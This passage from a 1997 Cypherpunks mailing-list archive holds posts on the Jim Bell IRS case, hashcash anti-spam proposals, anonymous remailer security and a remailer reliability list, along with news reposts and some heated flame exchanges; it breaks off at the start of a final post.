On Sun, 14 Dec 1997 at 08:12:31 -0600 Human Gus-Peter wrote:

>   The government misuses my Social Security Number to steal 
> my money. Where do I press charges? Can I place airline 
> employees under citizen's arrest when they demand it?

Excuse ME? When did THIS begin?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 15 Dec 1997 07:31:10 +0800
To: cypherpunks@cyberpass.net
Subject: IRS intimidation of Cypherpunks
Message-ID: <a3VcpW2klLwAYskYVqKWcw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 14 Dec 1997 at 08:12:31 -0600 Human Gus-Peter wrote:

>>> We should not let distaste/disgust for Jim's ideas and 
>>> tactics blind us to the important legal and constitutional 
>>> questions lurking beneath the surface of this investigation 
>>> and prosecution - there's some possibility that the IRS 
>>> used its investigation of Jim as a threat to other prolific
>>> authors on the Internet.

>  The government's armed assault on Ma and Pa Bell's 
> residence took place within hours of an email being sent 
> to him containing a rough draft of a chapter of an InterNet 
> published manuscript describing and lauding Bell's AP system.

>>> For example, copies of the press release announcing the 
>>> raid on Jim's home were mailed, apparently from computer 
>>> systems inside the IRS, to individuals active on the 
>>> Cypherpunks list. The IRS has never before (or since) 
>>> bothered to notify those individuals about criminal
>>> investigations which might otherwise be of interest. 

>   It is interesting to note that the emails from 
> treasury.gov constituted the same type of 'threat' that 
> Bell was roundly accused of by government officials and 
> the press.

I've seen brief mention of this before, but have never seen 
any details on the list. Aside from Jim Choate questioning
my arithmetic or attention span, would anyone be kind enough
to provide pointers to information about incidents of c-p
list members having received unsolicited email from .gov?

Declan, did you catch a whiff of this when it happened? I 
would think everyone's alarm bells would have gone off and 
people would have been intensely interested in the messages 
themselves, particularly the headers.

StringPullMongerII





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 15 Dec 1997 07:30:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: HAYEKWEB: V Postrel on Hayek
Message-ID: <52FWttAz92oTIrQ7d7pZ3A==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 14 Dec 1997 at 11:29:25 -0600 (CST) Jim Choate once again 
showed his clueless side (yes, he does have another side) wrote:

>> Nobel laureate F.A. Hayek, one of the earliest economic 
>> theorists of the role of knowledge, would have recognized 
>> the problem. Organizations overcome such difficulties 
>> through compromise and negotiation, or they break down. 
>> But society as a whole can avoid the "knowledge problem" 
>> only at the cost of stamping out individuality.

> It's a real pitty Hayek never tried 'cooperation' instead 
> of 'compromise'.

It's a real pity Choate never tried reading before spewing.
It would appear poor Jim doesn't have a clear idea of
Hayek, and has difficulty distinguishing between any of the
several voices used, and in filling in thin context. This
is another case like Jim's confusion over which "Gates" Tim
was referring to in a recent post.

> Oh, the short-short sightedness of ego and tryanny.

Well, ego anyway.

> What is the line of reasoning that the *only* solution for 
> society is to stamp out individuality? Sounds more like 
> wishful thinking from some brain-dead drone with no 
> imagination or respect for others.

Sounds like you should do some reading before you mouth off.

> Perhaps he should have stuck with economics and kept away 
> from sociology.

Perhaps you should have stuck with programming and kept away
from political commentary. Scratch that -- programming
requires a high degree of ability to deal with reality as
it is, not as one mistakenly sees it.

Your assignment is to read The Road to Serfdom and submit a
5,000 word essay to the c-p list on the subject of Hayek,
the brain-dead drone. Following that you will be allowed to
submit a 20,000 word essay on Jim Choate, the often-clueless
and illiterate half-wit motor mouth.

GetALifeMongerII





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@usit.net>
Date: Mon, 15 Dec 1997 12:34:05 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part I of II
In-Reply-To: <v03102804b0ba20d71bf6@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.971214230948.23895A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain



Sounds like a good way to sap some of the energy from the cp list.

Thanks for letting us know.

bd
one of the unwashed


On Sun, 14 Dec 1997, Tim May wrote:

> 
> [Note: This is a two-part article I posted to the "Nym" list. I'm posting
> it here as well, but not in a "cross-post" form, because it obviously
> touches on many themes of interest to Cypherpunks. Declan M. has created
> this new list to discuss anonymity and pseudonyms. It is, predictably,
> largely duplicative of discussions on the Cypherpunks and other lists, but
> Declan and others feel it is needed. It is not necessarily open to all, to
> reduce the number of insults, ASCII art posts, drunken ramblings (mine
> excepted), and off-topic spams and such,  so don't ask _me_ for
> instructions on how to subscribe to it. Declan may send you instructions if
> he wants to, of course.] ...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Gillogly <jim@acm.org>
Date: Mon, 15 Dec 1997 15:48:45 +0800
To: cypherpunks@cyberpass.net
Subject: Interview with Cindy Cohn
Message-ID: <3494DE56.AC36AD00@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



There's an excellent but short interview with Cindy Cohn, the attorney
on the
Bernstein Snuffle case, on the San Jose Mercury site:
http://www.sjmercury.com/business/center/cohnqa121597.htm
She has a knack for getting to the crux in clear and logical steps.
Good stuff -- should make it all obvious to the judges!
--
        Jim Gillogly
        Sterday, 25 Foreyule S.R. 1997, 07:34
        12.19.4.13.12, 2 Eb 10 Mac, Second Lord of Night






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 15 Dec 1997 12:48:33 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: message dependent hashcash => no double spend database (Re: hashcash spam prevention & firewalls)
In-Reply-To: <3.0.3.32.19971213161023.03889c90@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19971214234241.03899220@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:48 PM 12/13/97 GMT, Adam Back wrote:
>However, generally I have been assuming that it's easier to have a
>double spend database, and to make the hashcash depend only on the
>resource name for the kinds of problems you raise, and because it is
>cheaper to verify hashcash on shorter strings.  By resource name I
>mean whatever it is that is being used.  For an email address it is
>the email address, for a remailer it is the remailers address.  Could
>be generalised for other purposes, for example free use of web based
>resources or even telnet based TCP/IP protocols in general.

As a technological fix for spam, destination address hashcash seems to be
lacking.  All this does is raise the wall of entry into becoming a
spamhause from one PC to say, ten.  It is not much more difficult to sell a
CD-ROM with one million email addresses & hashcash.   A 20 second hashcash
expenditure on one million email addresses will take about 231 CPU days, or
about three weeks if you use ten machines.  Sell 500 copies of the CD-ROM
for $500, and you net $250K, easily enough profit to purchase the $20K of
machines or even to rent them for one month.  After six months, you will
have around eight million pieces of hashcash from the computational power
of only ten machines.  This says nothing of the profits from actually
sending spam.

The implementation of the plan is a more or less impossible scheme.  Many
people like myself exist who do not care from spam, but wish to receive
email from anyone who legitimately sends it.  I can only see a hashcash
anti-spam plan working when you have a closed list of people who generally
know each other.  While the mail gateway I use could easily be converted to
a hashcash enabled gateway, I have no interest in refusing email from those
who do not have hashcash gateways.

To be an anti-spam measure for ISPs, hashcash would have to be based on the
destination email address, the text of the message in some fashion, and
possibly on other factors such as a timestamp or a from address.  Hashcash
tied to a from address as well as the destination would do a lot for spam
filters.  Using all or a portion of the message body, say every 23
characters in a round robin fashion until 50 sample body message characters
had been collected would make hashcash non reusable and not sellable.

Any ISP hashcash plan still does not take into account the effect of
services like hotmail, rocketmail, and the like who will need to generate
hashcash for the destination address because they exist to shield the
destination address from the sender.  Changes to the "Don't charge postage"
database will be awkward.  There are some serious privacy problems with
warehousing with your ISP a list of your other email addresses, or the
addresses of your postage free friends.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 15 Dec 1997 13:07:23 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: remailer hashcash spam prevention
In-Reply-To: <3.0.3.32.19971213110625.032e7afc@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19971215000026.03899328@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:19 PM 12/13/97 GMT, Adam Back wrote:
>> If there is in fact a requirement that the sender generate the hashcash,
>> then I am not sure this will work.  A nym reply block possibly does not
>> lead to an exit address, but rather to another reply block.  In fact, this
>> should always be the case.  
>
>I am not sure I understand the comment above.  Why should a reply
>block always point to another reply block?
...
>To point the whole reply block back to another newnym address adds
>additional protection but I would have thought most people use only
>one reply block.

If a person sends email from the source that also houses his nym identity,
then all of the eggs are in one basket.  A nym that points to another nym,
that perhaps points somewhere else like hotmail is needed.  Using only one
nym is about as safe as not using encryption.  It's fine for most purposes,
but can be broken.

I have gotten telephone requests from police, attorney general prosecutors,
private detectives, and others that ask for the identity of a remailer user
to be identified.  These are refused.  But I don't play games.  My response
is always I don't know, but if I did, I wouldn't tell you.

The attack on a single reply block is simple.  If the remailer machine is
seized, or if a VALID court order is received, we would turn the name over.
 (if anything about the request is incorrect, then we would refuse the
request and do so legally)  If we pull up the nym HashMan@anon.efga.org and
discover it is aba@dcs.ex.ac.uk then the anonymity is over.  If however it
points to MrHash@anotherremailer then the identity is preserved a little
bit longer.  The only way to breach this is to seize all remailers at the
same time.

Better security would be had by having a public nym that receives email,
and a private nym that delivers email.

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 15 Dec 1997 07:13:33 +0800
To: m2n@alpha.jpunix.com
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <199712101544.QAA18369@basement.replay.com>
Message-ID: <199712142304.AAA11494@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



rashidk@mailexcite.com (Rashid Kaman) wrote:

> X-No-Archive: yes

> >So why should an unlisted e-mail address be any different than an unlisted
> >telephone number?  If I want you to e-mail me, I'll give you my address.
> >I don't.  So why should I broadcast my e-mail address?
>  
> Credibility and you have been going in different directions for a good
> while.  

I suppose you have that on the "authority" of your unnamed "unimpeachable
source", huh?  (The same one who you claimed knows more about what was going
on with Jeff Burchell's remailer than Jeff himself did.)

Shades of McCarthyism....  When Gary Burnore and the DataBasix gang become
the standard for "credibility", the word will have become meaningless.

Strangely enough, a search of the public database of listed telephone numbers
turns up nothing for you.  If you'd like to post your home address and 
telephone number, in the name of Gary Burnore's "tell all if you have nothing 
to hide" philosophy, be my guest.

> I'd be interested to see the BS you add to all your other ones
> by answering the below.  You wouldn't be avoiding an answer would you?
>
> -------------------------previous querry-----------------------
> From: rashidk@mailexcite.com (Rashid Kaman)
> Subject: Re: Gary L. Burnore's Paranoid Hatred of Privacy and Anonymity
> Date: Wed, 10 Dec 1997 13:17:02 -0500
>  
> On Wed, 10 Dec 1997 16:44:40 +0100 (MET), nobody@REPLAY.COM
> (Anonymous) wrote:
>  
> >If remailers were shut down, I'd lose my ability to post.
>  
> Why is that?

For the same reason you'd no longer be able to post from mailexcite.com if 
someone decided to shut it down!  

I guess I've overestimated the intelligence of Gary Burnore's tag team if
the answer to your question wasn't obvious. <g>

Now would you care to tell us why the wonderful folks at DataBasix thought 
they were entitled to copies Jeff Burchell's sendmail logs listing both the
senders and recipients of anonymous mail through Jeff's remailer and what 
they planned to do with the information in them?  (If you don't know, 
perhaps you can ask your "source" who seems to know everything about this 
whole episode.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Mon, 15 Dec 1997 14:15:01 +0800
To: cypherpunks@www.video-collage.com
Subject: Plot to Overthrow U.S.Government: three indicted
Message-ID: <199712150607.AAA07189@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Wow, this is a colorful story. As usual, I am not sure how
much of it is true. igor

          Three Indicted in Alleged Plot to Overthrow U.S.  Government

          AP 13-DEC-97

          LITTLE ROCK, Ark. (AP) Three men charged with planning a revolt
          against the United States government wanted to create a new
          republic limited to whites while allowing polygamy to build
          its population, prosecutors say.

          Chevie Kehoe of Colville, Wash., and Daniel Lewis Lee of
          Oklahoma City were charged Friday with murder, racketeering
          and conspiracy in a seven-count federal indictment. Kehoe,
          24, directed the group, and Lee, 24, carried out the orders,
          the indictment said.

          Faron Lovelace, 40, of Sandpoint, Idaho, was charged with
          a single count of racketeering for allegedly being Kehoe's
          assistant.

          Prosecutors say Kehoe and the others wanted to create the
          Aryan Peoples Republic through a campaign of murder, robberies
          and kidnappings.

          Once the U.S. government was gone, their new country would grow
          quickly "by recruiting certain white people into the Republic
          and by engaging in polygamy so that the number of these white
          persons would greatly increase," the indictment said.

          The indictment did not detail threats or name targeted
          officials.

          Kehoe and Lee were previously charged in state court with
          the 1996 deaths of William Mueller, 52; his wife, Nancy, 28;
          and Mrs. Mueller's daughter, Sarah Elizabeth Powell, 8.

          Kehoe and Lee allegedly robbed Mueller, a gun dealer in Tilly,
          Ark., to support their cause, and the circumstances surrounding
          the deaths gave the Arkansas grand jury jurisdiction.

          Prosecutors said state murder charges would be dropped to
          allow the federal case to advance.

          Authorities say the Muellers and Kehoes knew each other and
          were associated through gun shows and militia group activities.

          Kehoe is accused of directing crimes that also include
          theft, interstate transportation of stolen property and money
          laundering. Part of Lee's job was to carry out four murders,
          and Lovelace's duties included one murder, according to the
          indictment.

          Kehoe and Lovelace are accused of transporting stolen goods
          from the white separatist community of Elohim City, Okla.,
          to Spokane, Wash., in March 1995 and again from Arkansas to
          Washington after the Muellers were killed.

          Lovelace was convicted this year of killing Jeremy Scott, 23, in
          1995 out of fear Scott was a government informant. Lovelace also
          has admitted kidnapping and robbing a Washington state couple
          in 1995. He held them captive for five hours after stealing
          their weapons and extorting several thousand dollars from them.

          Kehoe and his brother, Cheyne Kehoe, 21, made national headlines
          in February when they were allegedly involved in a shootout with
          Ohio police. It was caught on videotape by a camera mounted
          on a police car.  No officers were wounded but a passerby was
          injured by a bullet fragment.

          Kehoe and his brother were fugitives until June, when
          Cheyne surrendered and told authorities where to find his
          brother. Cheyne was not named in Friday's indictment.

          Kehoe was being held in Ohio awaiting charges stemming from
          the videotaped shootout. Lee was jailed in Arkansas on capital
          murder charges, and Lovelace was being held in Idaho.

            Copyright 1997 & The Associated Press. All rights
            reserved. This material may not be
                     published, broadcast, rewritten, or redistributed.
`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 15 Dec 1997 13:14:09 +0800
To: "Uhh...this is Joe [Randall Farmer]" <rfarmer@HiWAAY.net>
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971213161023.03889c90@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19971215000953.03767450@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 06:53 PM 12/13/97 -0600, Uhh...this is Joe [Randall Farmer] wrote:
>This is exactly what I was addressing: remailers only have to get themselves
>certified as remailers and then prove their certification to the destination
>server, not do the whole hashcash shtick for every message. (For example,
they
>could publish their public key's hash signed by some anti-spam organization,
>then sign the hash of the server's challenge to prove that they are a real
>remailer, not an advanced spammer imitating one) 

I find this concept to have problems.  I don't know how many there are, but
with 4,000+ US ISPs, all of the schools, corporations, etc, there must be
at least 50,000 mailhosts that would have to accept authentication.  This
whitelist concept, that if I am "good" I get approved and certified smacks
of things which I generally oppose.  And who keeps the whitelist?  CAUCE?
Verisign?  Time Magazine?  The NSA? Microsoft?

How much would it cost for each of the 50K mail hosts to become certified?
This is an administrative nightmare.  The current alternative to this
certification list is the configuration files such as domains.banned,
user.banned, etc.

Currently remailers can send mail most anywhere.  I suspect that if
remailers had to get certified (say a RASCi rating of "remailer") most mail
hosts would begin denying mail from remailers.  I don't believe that mail
servers need to be certified.



  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 15 Dec 1997 11:47:49 +0800
To: cypherpunks@toad.com
Subject: Invitation to Join "Nym"
Message-ID: <199712150333.EAA14973@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



You are cordially invited to join "Nym," a new mailing list devoted to
discussing anonymity and pseudonymity.

The topics: anonymity's history, current politics, and proposals to
regulate anonymous speech and commerce.

Nym's primary, but not exclusive, focus is on anonymity and pseudonymity
online. This includes the technologies of untraceability: digital cash,
anonymous remailers, and public key encryption.

It will be unmoderated but not widely advertised at first in hopes of
preserving quality of conversations. Personally, I'd like to see folks
join from many disciplines. I don't expect it to be very high volume.

To sign up, or for more info:
  http://www.well.com/~declan/nym/

Or send "subscribe nym" to majordomo@vorlon.mit.edu.

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 15 Dec 1997 14:10:49 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Bell sentencing
Message-ID: <19971215.033405.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    the charges of intimidating an IRS agent are felonies
    the stinkbomb charge in a federal building is a felony
    the tax evasion charges are felonies
    
    virtually all federal felonies start with 5 years and
    increase from there. federal misdemeanors have a sentence 
    limitation of 1 year less 1 day.
    
    under the sentencing guidelines, it is difficult for the
    judge to hand down less than the specified guideline unless
    a deal has been cut --big time, I would say in this case.
    the prosecutor and public defender agreed on one year, but
    probation and parole asked for two years -therefore the 
    plea bargained charge was a felony.
    
    secondly, the Feds almost always file the charge itself, 
    plus a separate charge of conspiracy (even if they do call
    the rest of the conspirators "unknown") which carries the
    same time as the act of commission.  you can rack up some
    serious time with Fed charges which do not seem like much
    until they multiple count the indictment and add conspiracy.
    given the exposure of this case, etc. there was a deal cut
    someplace.
    
    frankly, I would rather do 3 years inside instead of "highly
    supervised" tail --some asshole social worker cum parole
    officer that can literally tell you when you can shit; if he
    tells you to start polishing the apple, you best be getting
    on your knees and get on with it.  you have more rights in
    federal prison than you do with a PO and his inferiority
    or dogooder complex --either way, you are his victim.
    
    personally, I think Bell was lucky --or he rolled over and
    the fruits of his loose tongue will start new lives for new
    political prisoners of the U.S. gestapo. I'll put my money
    on the rollover.  too many unanswered questions; books
    returned marked "not a prisoner"; writing a letter
    acknowledging he was a "bad person"; and all that good 
    stuff.

    Bell just snitched out; he doesn't look like the type that
    would do well under pressure. maybe a lot of bark, but no
    bite to tell the man to fuck off.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJSp2rR8UA6T6u61AQHsOAH9GXK+cHv91438Cmr9INsDCCEIbpWL9YO6
HDsWygSXSIWftoQl0+SFUL7/6mcjPlxt7N5nTlCub4zA0JQZYEHq2w==
=GPPA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 15 Dec 1997 23:02:15 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199712151450.GAA31967@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera@juno.com             ------------  5:03:45  99.86%
nym      config@nym.alias.net             +*#**#**###       :34  95.82%
redneck  config@anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster@remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix@squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias@alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer@replay.com              ****   ***      10:06  94.93%
arrid    arrid@juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer@bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer@anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer@cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock@rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer@neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez@juno.com                               4:58:22 -36.97%
reno     middleman@cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 15 Dec 1997 15:52:48 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: M$: an about face for NYTimes editorial policy
Message-ID: <19971215.074324.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>> an about face for the official policy at the NYTimes.
    prior to the decision, the NYT was acting almost like
    an apologist for M$; now they are placing the onus on
    M$: "It is in the public interest that Microsoft be
    required to show that its practices are not 
    anticompetitive."

    should make life interesting; now that M$' momentum
    has been nicked, everybody will join in the great
    Muslim tradition of stoning Bill Gate$ to death.

    Gate$ predicted a year or so ago that M$ would
    suffer a near-death experience --well, BadBillyG,
    is the handwriting on your wall?

        you can fool all the people some of the time,
        you can fool some of the people all the time,
        you can not fool all the people all the time.

            who said that?
    
http://www.nytimes.com/yr/mo/day/editorial/
 
December 15, 1997
NYTimes Editorial / editorial policy statement
Saying No to Microsoft

>>> NYTimes' policy change since the decision:

A preliminary injunction ...
...  is a smart step that preserves the competitive status
quo while the court reviews the antitrust suit brought by
the Justice Department in October.

The injunction is needed, Judge Jackson pointedly wrote,
because the probability that Microsoft will, through its
licensing practices, reinforce its operating system monopoly
and acquire yet another monopoly in the Internet browser
market "is simply too great to tolerate indefinitely until
the issue is finally resolved." ...

...Judge Jackson said Microsoft's idea of what is
"integrated" would appear to render the consent decree
provision meaningless.  If Internet Explorer can be turned
into a Windows component under the decree, so might other
Microsoft products like Word and Excel.

>>> the NYTimes real reversal of statement since the 
    decision:

...It is in the public interest that Microsoft be required
to show that its practices are not anticompetitive.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJTfY7R8UA6T6u61AQGfPAH/aYfZ25kL3xJBpJgX9CUYmeBM8EE57xno
MLonOVNkvMNyVyuJS2X8N1x5higS8q/V4sOv89K9w6tq2u8Hud5SUg==
=D5z5
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 16 Dec 1997 00:59:21 +0800
To: cypherpunks@toad.com
Subject: Re: Plot to Overthrow U.S.Government: three indicted
In-Reply-To: <199712150607.AAA07189@manifold.algebra.com>
Message-ID: <N89qHe19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



I get a feeling that we get new ones almost daily.

I heard a story on CNN[1] last night. I was doing 2 other things at the
same time. It went as follows:
* a perp mail-ordered some bio materials that could be used to breed viruses
* Unfortunately, there's no law against it. However the company he bought it
  from calls the feds
* The police searched the perp's house and found guns and "white supremacist"
  literature.  Apparently they got the search warrant solely on his mail order.
* Unfortunately, the gun control laws need to be strengtheed
* The perp hasn't been charged with anything. He claims (much irony in the
  talk head's voice) that he's a patriot, not a terrorist, and is working
  on a survavalist manifesto of some sort. (Apparently the sucker talked
  to a journalist.)
Perhaps someone can find this on the CNN Web site.

Fox News is much superior to CNN.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 16 Dec 1997 00:59:02 +0800
To: cypherpunks@toad.com
Subject: Re: Who's afraid of an uncensored forum? Good riddance to forger
In-Reply-To: <v04002a00b0ba1c861ee4@[207.137.201.12]>
Message-ID: <1i0qHe20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



mj@creative.net writes:

>  > Tiny Tim is
> >happy to bend over and let Declan (or Sandy or any other self-appointed
> >censor) decide which of Timmy's rants are worth publishing.
>
> <snip>
>
> Look, I'm new to this list and don't know the history of these disputes - I
> have neither information nor prejudices - but you must be aware that it's
> difficult to take anyone who talks like this seriously. Or even to keep
> listening.

If you have a problem, you can killfile me or go to a modereated list.
There are plenty of them.

> <snip>
> >
> >I'm not the only victim of Declan's lies and forgeries. E.g., the Center for
> >Deomcracy in Technology (CDT) complained to Declan's employer, Time Warner,
> >about Declan's lies, forgeries, and misrepresentations of CDT's position.
> >
>
> Can you document this?

Yes, but I have better things do to.  Search the list archives.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Daniel J. Boone" <djb@alaska.net>
Date: Tue, 16 Dec 1997 03:16:20 +0800
To: cypherpunks@cyberpass.net
Subject: The closed Nym list
Message-ID: <34957D5E.720C5BC5@alaska.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

